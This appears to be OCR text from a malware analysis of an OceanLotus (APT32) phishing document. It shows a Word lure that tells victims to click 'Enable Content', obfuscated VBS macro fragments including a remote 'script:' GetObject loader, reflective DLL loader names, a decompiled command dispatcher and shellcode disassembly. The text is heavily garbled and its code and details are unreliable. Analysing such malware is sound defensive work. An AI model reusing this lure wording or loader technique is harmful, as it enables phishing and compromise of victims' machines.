(OceanLotus APT32) 2012

Pon khi€u nai “ ”

|,F.}n’n.khié{=u nai___ : IS =

1 2288 SCE8E, BARE

Microsoft Word 2016

Error 30921-42. This Word document Wwas saved in a later version of Microsoft Office™.
To display the document, please click “Enable Editting” from the ydos ot

and then click “Enable Content™

VBS



strPath = DesDir & SkMMBXmNbPCwurUQIJQcF 5 ﬁ_g;’(ss, G4 20,59, 51 2005 T, 3105 <3857, -18
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ReDim 1K1 txGhDaqre FTEAJBXUJUNC Len( e TRMFIDKF JUvWUXeBiVAL ) - 1)
For NnjdVivKdRZrerBevMDokeoE - 0 To UBound( 1KitxGhDaqtefEAIBxujUH )
IKIExGhDagre st JBxu ) UH(M ) dVi vKdRZrerBevMDoKeoE) - Asc( Mid( etkMFTDKF jJUvWUxeBiVAL, NnjdVivKkdRZrerBevMDoKeot

Next y

FdqBruAKANVCDTSLR 1K1t xChbaqtefEA) Bxu jUH
End Function
Dim YMIJOpHxUpwibtirin
set AEEVirAehEsZCIvyUrRuvdafi Getobject ("script:htips:; — :
YMI JOpHxUpw 1D Irin TOqBrUAKANVCD TSLRCIDCIGRNpMBBVYVWESN)
Function g0
wrARsDIRE, Wp CJ ) 140rXxjanzoe

d Function

Dim ZWjgHLwHQSPC, qvV 't IRkoVZ IFF , ORWaTOWMdNry TdzkMsywta1u
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DLL 17f2d8.dll
_ReflectiveLoader@4

DlIMain 0x10030028 0x1000 0x69
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Shellcode

int w3; // edi

v = len;
6| switch ( a2 )
{

ca

break;
case 2:
sub_10003B6A(=23);
break;
case 3:
sub_180083609() ;
break;
case 4:
sub_1000368C(Llen);
break;
case 5:
sub_1@00361D(1len, a3);
break;
case 9:
sub_100054E0(len, 1);
break;
case OxA:

sub_10003D1E((1int)a3, len, "wb");

break;

case BxB:
sub_l10004C29(=3, len);
break;

case OxC:
sub_1e00387A(len, a3);
break;

case BxD

sub_100052D1(1len, a3, 1);

break;

VBS
shellcode

se 1:
sub_180085634((1int)a3, len, 1);

// BEh#R

/1 HREF

/1 HEEEA

/i btEH

// EREH
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shellcode shellcode
lseq009: 09000008 sub 8 prog - =ar
eg000: 898000688 SE pop esi
36: 60600069 8B 1E mov  ebx, SHgEER
[5egqb00: 0OBOBOOB 83 Co 04 add esi. = i
sey0060:00066888E 8B 2C noy ebp, |és1]|
;eq0868: 00006618 31 DD Kor ebp.wm-""
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